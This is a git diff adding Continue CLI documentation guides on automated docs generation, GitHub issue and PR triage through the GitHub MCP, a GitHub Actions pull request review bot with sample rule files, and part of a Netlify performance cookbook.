+Make sure to set your `CONTINUE_API_KEY` environment variable before running local scripts to enable headless mode.
+
+
+When using the Continue CLI on your local machine, you can build workflows in various ways, one of which is by simply creating shell scripts that you can run, which call the CLI.
+
+The below shell script snippet shows the final part of a docs updating shell script that can be used to generate documentation for the code changes in a branch of a git repository.
+
+For the example snippet below to work you will need to set the following variables:
+- `CONTINUE_ORG`
+- `CONTINUE_CONFIG`
+- `BASE_BRANCH`
+- `COMPARE_BRANCH`
+- `DOCS_BRANCH_NAME`
+
+For example you can either set these as environment variables or as command line arguments to be used by the script.
+
+**Example shell script snippet for generating documentation**
+```bash title="generate-docs.sh"
+#!/bin/bash
+# The script below shows the final part of a docs updating shell script that can be used to generate documentation for the code changes in a branch of a git repository.
+
+# Generate git diff context
+echo "Generating git diff context..."
+echo "Git changes:" > context.txt
+git diff "$BASE_BRANCH..$COMPARE_BRANCH" --stat >> context.txt
+echo -e "\n\nFile list:" >> context.txt
+git diff "$BASE_BRANCH..$COMPARE_BRANCH" >> context.txt
+echo "Generated context file:"
+cat context.txt
+
+# Create documentation branch
+echo "Creating branch: $DOCS_BRANCH_NAME"
+git checkout -b "$DOCS_BRANCH_NAME"
+
+# Generate documentation with Continue CLI
+echo "Running Continue agent to generate documentation..."
+cn -config "$CONTINUE_ORG/$CONTINUE_CONFIG" \
+ --auto \
+ --allow Write \
+ -p \
+ --prompt ./context.txt \
+ "Analyze the provided git diff and identify any new functionality introduced. Summarise the new features in a few sentences. Then search the existing documentation in the site docs/ directory to determine whether these features are already documented in a way that enables users to use them. If documentation is missing or incomplete, create or modify Markdown files under the site diretory (without changing any code) to add clear explanations, usage instructions and examples for the new features in the same style and format as the existing documentation. Finally, print a brief summary of the documentation changes you made."
+
+# Clean up temporary files
+echo "Cleaning up temporary files..."
+rm -f context.txt
+
+# Commit and push documentation changes
+echo "Reviewing git status..."
+git status
+
+# Only adding files that have been added and modified in the site directory
+echo "Adding files edited in site directory to git..."
+git add site/
+
+if git diff --cached --quiet; then
+ echo "No documentation changes to commit"
+else
+ echo "Committing changes..."
+ git commit -s -m "docs: update for new functionality from branch $BRANCH_NAME"
+
+ echo "Pushing changes to origin..."
+ git push --set-upstream origin "$DOCS_BRANCH_NAME"
+
+ echo "Documentation branch created and pushed: $DOCS_BRANCH_NAME"
+fi
+```
+
+
+
+
+## Enhancement Ideas
+
+The workflow above is a basic example and can be enhanced in various ways to fit your needs. Here are some ideas:
+
+
+
+ Define a specialized agent for analyzing changes and generating targeted prompts for documentation writers, improving output quality.
+
+
+
+ Create GitHub workflows that automatically generate documentation PRs when new features are merged to main.
+
+
+
+ Build an agent that reviews older merged PRs to identify undocumented features and generates missing documentation.
+
+
+
+ Add a post-processing agent to enhance writing quality with rules like "use short sentences and simple words."
+
+
+
+## Next Steps
+
+Ready to implement automated documentation with Continue CLI? Here are some helpful resources to get you started:
+
+
+
+ Learn the fundamentals of using Continue CLI for automated coding tasks and headless workflows.
+
+
+
+ Discover how to configure and customize AI configs for your specific documentation needs.
+
+
+
+ Checkout this video from Tetrate about using Continue Agents to help with writing your docs.
+
+
+
+ Browse pre-built agents and configurations from the Continue community.
+
+
diff --git a/docs/guides/github-mcp-continue-cookbook.mdx b/docs/guides/github-mcp-continue-cookbook.mdx
new file mode 100644
index 000000000..4af46d931
--- /dev/null
+++ b/docs/guides/github-mcp-continue-cookbook.mdx
@@ -0,0 +1,343 @@
+---
+title: "GitHub Issues and PRs with GitHub MCP and Continue"
+description: "Use Continue and the GitHub MCP to list, summarize, and act on open issues and recently merged pull requests with natural language prompts."
+sidebarTitle: "GitHub Issues with Continue"
+---
+
+
+ A GitHub workflow assistant that uses Continue with the GitHub MCP to:
+ - List, filter, and summarize open issues
+ - Review and summarize recently merged PRs
+ - Post comments with AI-generated summaries or checklists
+ - Automate routine GitHub maintenance with headless CLI runs
+
+
+## Prerequisites
+
+Before starting, ensure you have:
+
+- Continue account with **Hub access**
+ - Read: [Understanding Configs — How to get started with Hub configs](/guides/understanding-configs#how-to-get-started-with-hub-configs)
+- Node.js 22+ installed locally
+- A GitHub account and a repository to work with
+- A GitHub token with the appropriate scopes:
+ - For read-only: `repo:read`
+ - To comment on issues/PRs: `public_repo` for public repos or `repo` for private repos
+
+For all options, first:
+
+
+ ```bash
+ npm i -g @continuedev/cli
+ ```
+
+
+
+ Add your `GITHUB_TOKEN` to your [Continue Hub agent's environment variables](https://hub.continue.dev/settings).
+
+
+
+
+ To use agents in headless mode, you need a [Continue API key](https://hub.continue.dev/settings/api-keys).
+ For write actions (e.g., posting comments), your token must include the relevant GitHub scopes.
+
+
+## GitHub MCP Workflow Options
+
+
+ Use the GitHub MCP from Continue Hub for one-click setup, or add it via CLI.
+
+
+After ensuring you meet the **Prerequisites** above, you have two paths to get started:
+
+
+
+
+
+ Visit the [GitHub Project Manager Agent](https://hub.continue.dev/continuedev/github-project-manager-agent) on Continue Hub and click **Install** to add it to your agent.
+
+ The listing provides a pre-configured MCP block; add your `GITHUB_TOKEN` in Hub.
+
+
+
+ From your repo root:
+ ```bash
+ cn --agent continuedev/github-project-manager-agent
+ ```
+ Now try: "List my open issues labeled bug and summarize priorities."
+
+
+
+
+ You can also attach an MCP to a one-off session: `cn --mcp anthropic/github-mcp`.
+
+
+
+
+
+
+ Go to the [Continue Hub](https://hub.continue.dev) and [create a new agent](https://hub.continue.dev/new?type=agent).
+
+
+
+ Install from Hub (recommended) or add YAML manually. Minimal YAML example:
+
+ ```yaml title="config.yaml"
+ mcpServers:
+ - name: GitHub MCP
+ command: npx
+ args:
+ - "-y"
+ - "@modelcontextprotocol/server-github"
+ env:
+ GITHUB_TOKEN: ${env:GITHUB_TOKEN}
+ connectionTimeout: 30
+ ```
+
+ Notes:
+ - The exact `command`/`args` may differ based on the MCP you choose on Hub. Hub templates prefill these for you.
+ - Provide `GITHUB_TOKEN` via environment or Hub secrets.
+
+
+
+ Launch Continue and ask:
+ ```
+ List the 5 most recently updated open issues in this repository.
+ ```
+
+
+
+
+
+
+ To use GitHub MCP with Continue CLI, you need either:
+ - **Continue CLI Pro Plan** with the models add-on, OR
+ - **Your own API keys** added to Continue Hub secrets
+
+ The agent will automatically detect and use your configuration along with the GitHub MCP for issue and PR operations.
+
+
+
+---
+
+## Issue Workflows
+
+Use natural language to explore, triage, and act on open issues. The agent calls GitHub MCP tools under the hood.
+
+
+ **Where to run these workflows:**
+ - **IDE Extensions**: Use Continue in VS Code, JetBrains, or other supported IDEs
+ - **Terminal (TUI mode)**: Run `cn` to enter interactive mode, then type your prompts
+ - **CLI (headless mode)**: Use `cn -p "your prompt" --auto` for automation
+
+ To run any of the example prompts below in headless mode, use `cn -p "prompt"`
+
+
+### Triage and Summaries
+
+
+ Get a prioritized overview of current open issues.
+
+**Prompt:**
+```
+List the 20 most recently updated open issues in this repo.
+Cluster by label and severity. Summarize top priorities.
+```
+
+
+
+ Narrow by label or assignee.
+
+**Prompt:**
+```
+Show open issues labeled bug or security, assigned to @me.
+Summarize blockers and suggest next steps.
+```
+
+
+### Taking Action
+
+
+ Post an AI-generated status update or checklist.
+
+**Prompt:**
+```
+Find the issue with the most engagement (comments, reactions) in the last 30 days.
+Come up with a triage plan and draft a comment with:
+- current hypothesis
+- next 2 steps
+- owner and ETA
+Then post the comment.
+```
+
+
+ Requires a token with permission to comment (`public_repo` or `repo`). The agent will confirm before posting unless `--auto` is used.
+
+
+
+
+ Identify issues that need attention.
+
+**Prompt:**
+```
+Find open issues with no activity in the last 30 days.
+Suggest action (close, needs-repro, or prioritize) and draft comments.
+```
+
+
+---
+
+## Merged PR Workflows
+
+Analyze recently merged PRs for change awareness, release notes, and quality signals.
+
+### Recently Merged Overview
+
+
+ Summarize merged PRs over a time window.
+
+**Prompt:**
+```
+List PRs merged in the last 7 days.
+Group by area (label or path). Summarize impact and notable changes.
+```
+
+
+### Release Notes
+
+
+ Turn merged PRs into crisp release notes.
+
+**Prompt:**
+```
+Generate release notes for PRs merged since tag v1.2.0.
+Use keep-a-changelog sections and include PR numbers/authors.
+```
+
+
+### Deep Dives
+
+
+ Get a human-readable summary of a recently merged PR with active discussion.
+
+**Prompt:**
+```
+Find the last merged PR with a significant amount of comments.
+Summarize the conversation, including goal, key changes,
+risk areas, and any follow-ups.
+```
+
+
+---
+
+## Automate with GitHub Actions
+
+Run headless commands on a schedule or in PRs to keep teams informed.
+
+### Add GitHub Secrets
+
+Repository Settings → Secrets and variables → Actions:
+
+- `CONTINUE_API_KEY`: From [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys)
+- `GITHUB_TOKEN`: A token with permissions to read issues/PRs and post comments
+
+### Example Workflow
+
+Create `.github/workflows/github-mcp-reports.yml`:
+
+```yaml
+name: GitHub MCP Reports
+
+on:
+ schedule:
+ - cron: "0 13 * * 1" # Mondays 13:00 UTC
+ workflow_dispatch:
+ pull_request:
+ types: [opened, synchronize]
+
+jobs:
+ report:
+ runs-on: ubuntu-latest
+ env:
+ CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }}
+ GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+ steps:
+ - uses: actions/checkout@v4
+ - uses: actions/setup-node@v4
+ with:
+ node-version: "18"
+ - name: Install Continue CLI
+ run: npm i -g @continuedev/cli
+
+ - name: Weekly Issue Triage Summary
+ if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
+ run: |
+ cn --agent continuedev/github-project-manager-agent \
+ -p "List open issues updated in the last 14 days. Group by label and priority. Propose top 5 actions and include issue links." \
+ --auto > issue_summary.txt
+
+ - name: Post PR Context Comment
+ if: github.event_name == 'pull_request'
+ env:
+ PR_NUMBER: ${{ github.event.pull_request.number }}
+ run: |
+ REPORT=$( cn --agent continuedev/github-project-manager-agent \
+ -p "Summarize the context for PR #${PR_NUMBER}: related open issues, risk areas, and test suggestions. Keep under 200 words." \
+ --auto)
+ gh pr comment ${PR_NUMBER} --body "$REPORT"
+```
+
+
+ Use `continuedev/github-project-manager-agent` consistently throughout your automation as the recommended agent configuration.
+
+
+---
+
+## Troubleshooting
+
+- **Missing or invalid token:** Ensure `GITHUB_TOKEN` is set and has the required scopes. Try a minimal test: “List 3 open issues in this repo”.
+- **Permissions errors on comment:** Your token must include `public_repo` (public) or `repo` (private) to write comments.
+- **Rate limiting:** Reduce frequency or filter queries; consider using a PAT distinct from the default Actions token when running in CI.
+- **MCP connection timeout:** If using custom YAML, increase `connectionTimeout` or verify the `command`/`args` from the Hub listing.
+
+## What You've Built
+
+After completing this guide, you have a complete **AI-powered GitHub workflow system** that:
+
+- ✅ Uses natural language — Simple prompts for complex GitHub operations
+- ✅ Automates issue triage — AI analyzes and summarizes open issues
+- ✅ Generates release notes — Automatic PR digests and changelogs
+- ✅ Runs continuously — Automated reports via GitHub Actions
+
+
+ Your GitHub workflow now operates at **[Level 2 Continuous
+ AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** -
+ AI handles routine issue triage and PR summaries with human oversight
+ through review and approval.
+
+
+## Next Steps
+
+1. **Explore your issues** - Try the issue triage prompts on your repository
+2. **Generate release notes** - Use the merged PR prompts to create changelogs
+3. **Set up automation** - Add the GitHub Actions workflow to your repo
+4. **Customize prompts** - Tailor the prompts to your team's workflow
+5. **Monitor progress** - Track issue resolution metrics over time
+
+## Additional Resources
+
+
+
+ Anthropic GitHub MCP on Continue Hub
+
+
+ How MCP works with Continue agents
+
+
+ Pre-configured agent on Continue Hub
+
+
+ Official GitHub MCP server README
+
+
+
diff --git a/docs/guides/github-pr-review-bot.mdx b/docs/guides/github-pr-review-bot.mdx
new file mode 100644
index 000000000..d95a7c120
--- /dev/null
+++ b/docs/guides/github-pr-review-bot.mdx
@@ -0,0 +1,510 @@
+---
+title: "Code Review Bot with Continue and GitHub Actions"
+description: "Set up automated, context-aware pull request reviews using Continue CLI in GitHub Actions - privacy-first with custom rules"
+sidebarTitle: "Pull Request Review Bot"
+---
+
+
+ An automated pull request review system that:
+ - Reviews code automatically when pull requests open or update
+ - Applies your team's custom rules and standards
+ - Runs in your GitHub Actions runner (code is sent directly to your configured LLM)
+ - Posts actionable feedback as pull request comments
+ - Responds to interactive review requests
+
+
+## Why This Approach?
+
+
+
+ All logs and processing happen in your runner: Continue CLI runs in GitHub Actions → code to your LLM provider (OpenAI, Anthropic, etc.). No hosted Continue service reads your code.
+
+
+
+
+ Define team-specific rules in `.continue/rules/` that automatically apply to every pull request.
+
+
+
+
+ Leverage Continue's AI agent for intelligent, context-aware reviews with full control over your configuration.
+
+
+
+
+## Prerequisites
+
+Before starting, ensure you have:
+
+- A GitHub repository with pull requests
+- Continue account with **Hub access**
+ - Read: [Understanding Configs](/guides/understanding-configs)
+- A Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys)
+- Continue assistant configured for code reviews (or use our recommended default)
+
+
+ **Want to customize the review bot?**
+
+ You can remix the default review bot configuration at [hub.continue.dev/continuedev/review-bot](https://hub.continue.dev/continuedev/review-bot) to create your own personalized version with custom prompts, rules, and behaviors.
+
+
+## Quick Setup (10 Minutes)
+
+
+
+
+
+ Navigate to your repository settings: **Settings → Secrets and variables → Actions**
+
+ **Required Secrets:**
+ - `CONTINUE_API_KEY` - Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys)
+
+ **Optional (for better permissions):**
+ - **Variables** tab: `APP_ID` - GitHub App ID (for enhanced API rate limits)
+ - **Secrets** tab: `APP_PRIVATE_KEY` - GitHub App private key
+
+
+
+ For better rate limits and permissions, create a GitHub App:
+
+ 1. Go to Settings → Developer settings → GitHub Apps → New GitHub App
+ 2. Set permissions:
+ - **Contents**: Read
+ - **Pull Requests**: Write
+ - **Issues**: Write
+ 3. Generate a private key
+ 4. Install the app on your repository
+ 5. Add `APP_ID` as a repository **variable** (Variables tab)
+ 6. Add `APP_PRIVATE_KEY` as a repository **secret** (Secrets tab)
+
+ Without a GitHub App, the action will use the default `GITHUB_TOKEN`.
+
+
+
+
+
+
+ Create a GitHub Actions workflow file at `.github/workflows/code-review.yml` with the provided configuration.
+
+```yaml
+name: Continue Code Review
+
+on:
+ pull_request:
+ types: [opened, synchronize, ready_for_review]
+ issue_comment:
+ types: [created]
+
+permissions:
+ contents: read
+ pull-requests: write
+ issues: write
+
+jobs:
+ review:
+ runs-on: ubuntu-latest
+ # Only run on PRs or when @review-bot is mentioned
+ if: |
+ github.event_name == 'pull_request' ||
+ (github.event_name == 'issue_comment' && contains(github.event.comment.body, '@review-bot'))
+
+ steps:
+ - uses: actions/checkout@v4
+ with:
+ fetch-depth: 0 # Full history for better context
+
+ # Optional: Use GitHub App token for better rate limits
+ - name: Generate App Token
+ id: app-token
+ if: vars.APP_ID != ''
+ uses: actions/create-github-app-token@v1
+ with:
+ app-id: ${{ vars.APP_ID }}
+ private-key: ${{ secrets.APP_PRIVATE_KEY }}
+
+ - name: Setup Node.js
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20'
+
+ - name: Install Continue CLI
+ run: npm i -g @continuedev/cli
+
+ - name: Get Pull Request Details
+ id: pr
+ env:
+ GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }}
+ run: |
+ # Get pull request number and details
+ if [ "${{ github.event_name }}" = "pull_request" ]; then
+ PR_NUMBER=${{ github.event.pull_request.number }}
+ else
+ PR_NUMBER=$(jq -r .issue.number "$GITHUB_EVENT_PATH")
+ fi
+
+ echo "pr_number=$PR_NUMBER" >> $GITHUB_OUTPUT
+
+ # Get pull request diff
+ gh pr diff $PR_NUMBER > pr.diff
+
+ # Get changed files
+ gh pr view $PR_NUMBER --json files -q '.files[].path' > changed_files.txt
+
+ - name: Run Continue Review
+ env:
+ CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }}
+ GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }}
+ run: |
+ # Check if custom rules exist
+ if [ -d ".continue/rules" ]; then
+ echo "📋 Found custom rules in .continue/rules/"
+ RULES_CONTEXT="Apply the custom rules found in .continue/rules/ directory."
+ else
+ echo "ℹ️ No custom rules found. Using general best practices."
+ RULES_CONTEXT="Review for general best practices, security issues, and code quality."
+ fi
+
+ # Build review prompt
+ PROMPT="Review this pull request with the following context:
+
+ ## Changed Files
+ $(cat changed_files.txt)
+
+ ## Diff
+ \`\`\`diff
+ $(cat pr.diff)
+ \`\`\`
+
+ ## Instructions
+ $RULES_CONTEXT
+
+ Provide:
+ 1. A brief summary of changes
+ 2. Key findings (potential issues, security concerns, suggestions)
+ 3. Positive observations (good practices, improvements)
+ 4. Specific actionable recommendations
+
+ Format as markdown suitable for a GitHub pull request comment."
+
+ # Run Continue CLI in headless mode
+ cn --config continuedev/review-bot \
+ -p "$PROMPT" \
+ --auto > review_output.md
+
+ - name: Post Review Comment
+ env:
+ GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }}
+ run: |
+ # Add header
+ cat > review_comment.md <<'EOF'
+ ## 🤖 AI Code Review
+
+ EOF
+
+ # Add review content
+ cat review_output.md >> review_comment.md
+
+ # Add footer
+ cat >> review_comment.md <<'EOF'
+
+ ---
+ *Powered by [Continue](https://continue.dev) • Need a focused review? Comment `@review-bot check for [specific concern]`*
+ EOF
+
+ # Check for existing review comment
+ EXISTING_COMMENT=$(gh pr view ${{ steps.pr.outputs.pr_number }} \
+ --json comments -q '.comments[] | select(.body | contains("🤖 AI Code Review")) | .id' | head -1)
+
+ if [ -n "$EXISTING_COMMENT" ]; then
+ echo "Updating existing comment..."
+ gh api --method PATCH \
+ "repos/${{ github.repository }}/issues/comments/$EXISTING_COMMENT" \
+ -f body="$(cat review_comment.md)"
+ else
+ echo "Creating new comment..."
+ gh pr comment ${{ steps.pr.outputs.pr_number }} \
+ --body-file review_comment.md
+ fi
+```
+
+
+
+
+Define your team's standards in `.continue/rules/`:
+
+
+
+
+ Create `.continue/rules/security.md`:
+
+```markdown
+---
+globs: "**/*.{ts,tsx,js,jsx,py}"
+description: "Security Review Standards"
+alwaysApply: true
+---
+
+# Security Checklist
+
+- No hardcoded credentials, API keys, or secrets
+- All user inputs are validated and sanitized
+- SQL queries use parameterization (no string concatenation)
+- Authentication and authorization checks are in place
+- Sensitive data is properly encrypted
+- Error messages don't leak sensitive information
+```
+
+
+ Create `.continue/rules/typescript.md`:
+
+```markdown
+ ---
+ globs: "**/*.{ts,tsx}"
+ description: "TypeScript Best Practices"
+ ---
+
+ # TypeScript Standards
+
+ - Use strict type checking (avoid `any` types)
+ - Prefer interfaces for object shapes
+ - Use proper error handling with typed errors
+ - Document complex types with JSDoc comments
+ - Export types for public APIs
+ - Use const assertions where appropriate
+```
+
+
+Create `.continue/rules/testing.md`:
+
+```markdown
+---
+globs: "**/*.{test,spec}.{ts,tsx,js,jsx}"
+description: "Testing Requirements"
+---
+
+# Testing Guidelines
+
+- Write tests for new features and bug fixes
+- Test both happy paths and error conditions
+- Use descriptive test names that explain intent
+- Keep tests focused and isolated (no shared state)
+- Mock external dependencies
+- Aim for meaningful assertions, not coverage metrics
+```
+
+
+Create `.continue/rules/python.md`:
+
+```markdown
+---
+globs: "**/*.py"
+description: "Python Code Standards"
+---
+
+# Python Best Practices
+
+- Follow PEP 8 style guidelines
+- Use type hints for function signatures
+- Write docstrings for public functions/classes
+- Use context managers for resource management
+- Prefer list comprehensions for simple transformations
+- Handle exceptions explicitly, avoid bare except
+```
+
+
+
+
+## How It Works
+
+The workflow follows these steps:
+
+1. **Pull Request Created/Updated** - A pull request is opened or synchronized
+2. **Workflow Triggered** - GitHub Actions workflow starts automatically
+3. **Load Custom Rules** - Reads your team's rules from `.continue/rules/`
+4. **Get Pull Request Diff** - Fetches the diff and list of changed files
+5. **Continue CLI Analyzes Code** - AI agent reviews the code with your rules
+6. **Post or Update Review Comment** - Creates or updates a single PR comment with feedback
+
+## Interactive Commands
+
+Comment on any pull request to trigger focused reviews:
+
+```
+@review-bot check for security issues
+@review-bot review the TypeScript types
+@review-bot explain the architecture changes
+@review-bot focus on error handling
+```
+
+The workflow will respond with a targeted review based on your request.
+
+## Advanced Configuration
+
+
+
+ By default, the workflow uses the `continuedev/review-bot` config optimized for code reviews. Replace `continuedev/review-bot` with your own config:
+
+ ```yaml
+ - name: Run Continue Review
+ env:
+ CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }}
+ CONTINUE_ORG: your-org-name # Add your org
+ CONTINUE_CONFIG: username/config-name # Add your config
+ run: |
+ cn --config $CONTINUE_ORG/$CONTINUE_CONFIG \
+ -p "$PROMPT" \
+ --auto > review_output.md
+ ```
+
+ Store `CONTINUE_ORG` and `CONTINUE_CONFIG` as repository variables for easy updates.
+
+
+
+ Only review specific file types in pull requests:
+
+ ```yaml
+ on:
+ pull_request:
+ types: [opened, synchronize, ready_for_review]
+ paths:
+ - '**.ts'
+ - '**.tsx'
+ - '**.py'
+ - '**.go'
+ ```
+
+
+
+
+ Skip large pull requests that would be expensive to review:
+
+ ```yaml
+ - name: Check PR Size
+ id: size-check
+ env:
+ GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }}
+ run: |
+ ADDITIONS=$(gh pr view ${{ steps.pr.outputs.pr_number }} --json additions -q .additions)
+ DELETIONS=$(gh pr view ${{ steps.pr.outputs.pr_number }} --json deletions -q .deletions)
+ TOTAL=$((ADDITIONS + DELETIONS))
+
+ if [ $TOTAL -gt 1000 ]; then
+ echo "skip=true" >> $GITHUB_OUTPUT
+ echo "⚠️ Pull request too large for automatic review ($TOTAL lines changed)"
+ else
+ echo "skip=false" >> $GITHUB_OUTPUT
+ fi
+
+ - name: Run Continue Review
+ if: steps.size-check.outputs.skip != 'true'
+ # ... rest of review step
+ ```
+
+
+
+## Troubleshooting
+
+
+- The workflow installs the CLI automatically, but ensure Node.js 20+ is available
+- Check the "Install Continue CLI" step logs for errors
+
+
+- Verify your `CONTINUE_API_KEY` is valid
+- Check that GitHub token has required permissions
+
+
+- Verify your Continue config is accessible
+- Check Continue CLI logs in the workflow run
+- Try running locally: `cn -p "Test prompt" --auto`
+
+
+- Ensure `pull-requests: write` permission is set
+- Verify GitHub token has scope to comment on pull requests
+- Check if the repository requires signed commits
+
+
+
+
+## Example Output
+
+Here's what a typical review comment looks like:
+
+> ## 🤖 AI Code Review
+>
+> ### Summary
+> This pull request introduces a new user authentication system with JWT tokens and password hashing. The implementation follows security best practices with a few minor suggestions.
+>
+> ### Key Findings
+>
+> **Security** ✅
+> - Password hashing properly implemented with bcrypt
+> - JWT tokens include appropriate expiry
+> - Input validation present for all endpoints
+>
+> **Code Quality** 💡
+> - Consider adding rate limiting to login endpoint
+> - The `secretKey` should be loaded from environment variables, not hardcoded
+> - Add unit tests for token expiration edge cases
+>
+> ### Positive Observations
+> - Good separation of concerns with middleware pattern
+> - Clear error messages for authentication failures
+> - Proper async/await usage throughout
+>
+> ### Recommendations
+> 1. Move `secretKey` to environment variables (see `.continue/rules/security.md`)
+> 2. Add rate limiting middleware to prevent brute force attacks
+> 3. Consider adding integration tests for the auth flow
+> 4. Document the JWT payload structure
+>
+> ---
+> *Powered by [Continue](https://continue.dev) • Need a focused review? Comment `@review-bot check for security`*
+
+## What You've Built
+
+After completing this setup, you have an **AI-powered code review system** that:
+
+- ✅ **Runs automatically** - Reviews every pull request without manual intervention
+- ✅ **Privacy-first** - CLI runs in your GitHub Actions runner, code sent directly to your configured LLM
+- ✅ **Customizable** - Team-specific rules apply automatically
+- ✅ **Interactive** - Responds to focused review requests
+- ✅ **Continuous** - Updates reviews as pull requests change
+
+
+ Your pull request workflow now operates at **[Level 2 Continuous
+ AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** -
+ AI handles routine code review with human oversight through review and
+ approval.
+
+
+## Next Steps
+
+1. **Test it out** - Create a test pull request and watch the review appear
+2. **Refine rules** - Add more custom rules specific to your codebase
+3. **Customize prompts** - Adjust the review prompt to match your team's style
+4. **Add metrics** - Track review effectiveness over time
+5. **Create team config** - Set up a shared Continue config for consistent reviews
+
+## Inspiration & Resources
+
+
+
+ Original inspiration - Privacy-first AI code reviews
+
+
+ Learn more about Continue CLI capabilities
+
+
+ Browse shared configs and create your own
+
+
+ Deep dive into custom rules
+
+
+
+## Community Examples
+
+Share your pull request review bot configuration:
+- Tweet your setup with `#ContinueDev`
+- Share improvements as [GitHub discussions](https://github.com/continuedev/continue/discussions)
+- Contribute example rules to the docs
diff --git a/docs/guides/instinct.mdx b/docs/guides/instinct.mdx
index 19f9bf7a1..ac933c33c 100644
--- a/docs/guides/instinct.mdx
+++ b/docs/guides/instinct.mdx
@@ -9,7 +9,7 @@ description: "Learn how to run Instinct, Continue's leading open Next Edit model
[HuggingFace model card](https://huggingface.co/continuedev/instinct).
-We recently released Instinct, a state-of-the-art open Next Edit model. Robustly fine-tuned from Qwen2.5-Coder-7B, Instinct intelligently predicts your next move to keep you in flow. To learn more about the model, check out [our blog post](https://blog.continue.dev).
+We recently released Instinct, a state-of-the-art open Next Edit model. Robustly fine-tuned from Qwen2.5-Coder-7B, Instinct intelligently predicts your next move to keep you in flow. To learn more about the model, check out [our blog post](https://blog.continue.dev/instinct/).
@@ -17,7 +17,7 @@ We recently released Instinct, a state-of-the-art open Next Edit model. Robustly
### 1. Install Ollama
-If you haven't already installed Ollama, see our guide [here](./ollama-guide.mdx).
+If you haven't already installed Ollama, see our guide [here](./ollama-guide).
### 2. Download Instinct
diff --git a/docs/guides/netlify-mcp-continuous-deployment.mdx b/docs/guides/netlify-mcp-continuous-deployment.mdx
new file mode 100644
index 000000000..6bc19d5a1
--- /dev/null
+++ b/docs/guides/netlify-mcp-continuous-deployment.mdx
@@ -0,0 +1,718 @@
+---
+title: "Netlify Performance Optimization Cookbook"
+description: "Optimize web performance with A/B testing, automated monitoring, and data-driven improvements using Netlify MCP and Continue."
+sidebarTitle: "Using Netlify MCP for Performance Optimization"
+---
+
+
+ Use AI to automatically monitor performance metrics, run A/B tests between
+ branches, and get actionable optimization suggestions based on real user data
+ from Netlify Analytics
+
+
+
+ **Did You Know?** Netlify is more than just static hosting! It offers:
+ - [Split Testing](https://docs.netlify.com/site-deploys/split-testing/) for A/B testing branches
+ - [Analytics](https://docs.netlify.com/analytics/get-started/) with Core Web Vitals tracking
+ - [Edge Functions](https://docs.netlify.com/edge-functions/overview/) for personalization at the edge
+ - [Build Plugins](https://docs.netlify.com/integrations/build-plugins/) ecosystem with 100+ integrations
+ - [Forms](https://docs.netlify.com/forms/setup/) with built-in spam protection
+ - [Identity](https://docs.netlify.com/visitor-access/identity/) for user authentication
+ - [Large Media](https://docs.netlify.com/large-media/overview/) for Git LFS support
+
+This guide shows you how to leverage these features through natural language with Continue CLI!
+
+
+
+## What You'll Learn
+
+This cookbook teaches you to:
+
+- Run [A/B tests](https://docs.netlify.com/site-deploys/split-testing/) between branches to measure performance impact
+- Monitor [Core Web Vitals](https://docs.netlify.com/analytics/get-started/#core-web-vitals) and build performance metrics
+- Automatically block deploys that degrade performance using [Deploy Contexts](https://docs.netlify.com/site-deploys/overview/#deploy-contexts)
+- Optimize build times with [Build Plugins](https://docs.netlify.com/integrations/build-plugins/) and bundle sizes with AI assistance
+
+## Prerequisites
+
+- GitHub repository with a web project
+- [Netlify account](https://netlify.com) (free tier works)
+- Node.js 22+ installed (required for Netlify)
+- [Continue CLI](https://docs.continue.dev/guides/cli) (`npm i -g @continuedev/cli`)
+- [Netlify MCP](https://hub.continue.dev/netlify/netlify-mcp) configured
+- [Netlify Development Rules](https://hub.continue.dev/netlify/netlify-development) (recommended)
+
+## Quick Setup
+
+
+ The Netlify Development Rules bundle includes guardrails for:
+ - Proper `.gitignore` configuration
+ - Function structure and placement
+ - Edge function constraints
+ - Local development best practices
+
+
+For all options, first:
+
+
+ ```bash
+ npm i -g @continuedev/cli
+ ```
+
+
+
+
+ 1. Install Netlify CLI: `npm i -g netlify-cli`
+ 2. Authenticate with Netlify:
+ `netlify login`
+
+
+
+## Netlify Continuous AI Workflow Options
+
+
+ Skip the manual setup and use our pre-built Netlify Continuous AI agent that includes
+ optimized prompts, rules, and the Netlify MCP for more consistent results.
+
+
+After completing **Quick Setup** above, you have two paths to get started:
+
+
+
+
+
+
+ Visit the [Netlify Continuous AI Agent](https://hub.continue.dev/continuedev/netlify-continuous-ai-agent) on Continue Hub and click **"Install Agent"** or run:
+
+ ```bash
+ cn --agent continuedev/netlify-continuous-ai-agent
+ ```
+
+ This agent includes:
+ - **Built-in rules** for consistent formatting and error handling
+ - **Netlify MCP** for more reliable API interactions
+
+
+
+ The agent uses the Netlify MCP automatically and includes best practice rules for deployment and performance optimization.
+
+
+
+ From your project directory, run:
+ ```bash
+ cn "Analyze my Netlify site's performance and optimize it for better Core Web Vitals."
+ ```
+
+ That's it! The agent handles everything automatically.
+
+
+
+
+ **Why Use the Agent?** Results are more consistent and debugging is easier thanks to the Netlify MCP integration and pre-tested prompts. You can remix the agent later to customize it to your needs.
+
+
+
+
+
+
+
+
+ 1. Authenticate with Netlify:
+ `netlify login`
+ 2. Visit [Netlify MCP on Continue
+ Hub](https://hub.continue.dev/netlify/netlify-mcp)
+ 3. Follow the configuration instructions for your editor
+
+
+
+
+ Install the [Netlify Development Rules](https://hub.continue.dev/netlify/netlify-development) bundle for best practices:
+
+ 1. Visit the bundle page on Continue Hub
+ 2. Click **"Install Rules"**
+ 3. Rules automatically apply to your agent
+
+
+
+
+ Test the connection with cn CLI:
+
+ ```bash
+ cn
+ # Then in TUI mode:
+ "Check my Netlify auth and list sites"
+ ```
+
+
+
+
+
+
+ You're all set! Now you can use cn CLI to interact with Netlify using natural language prompts. Check out the examples below to get started.
+
+
+
+
+
+ To use the pre-built agent, you need either:
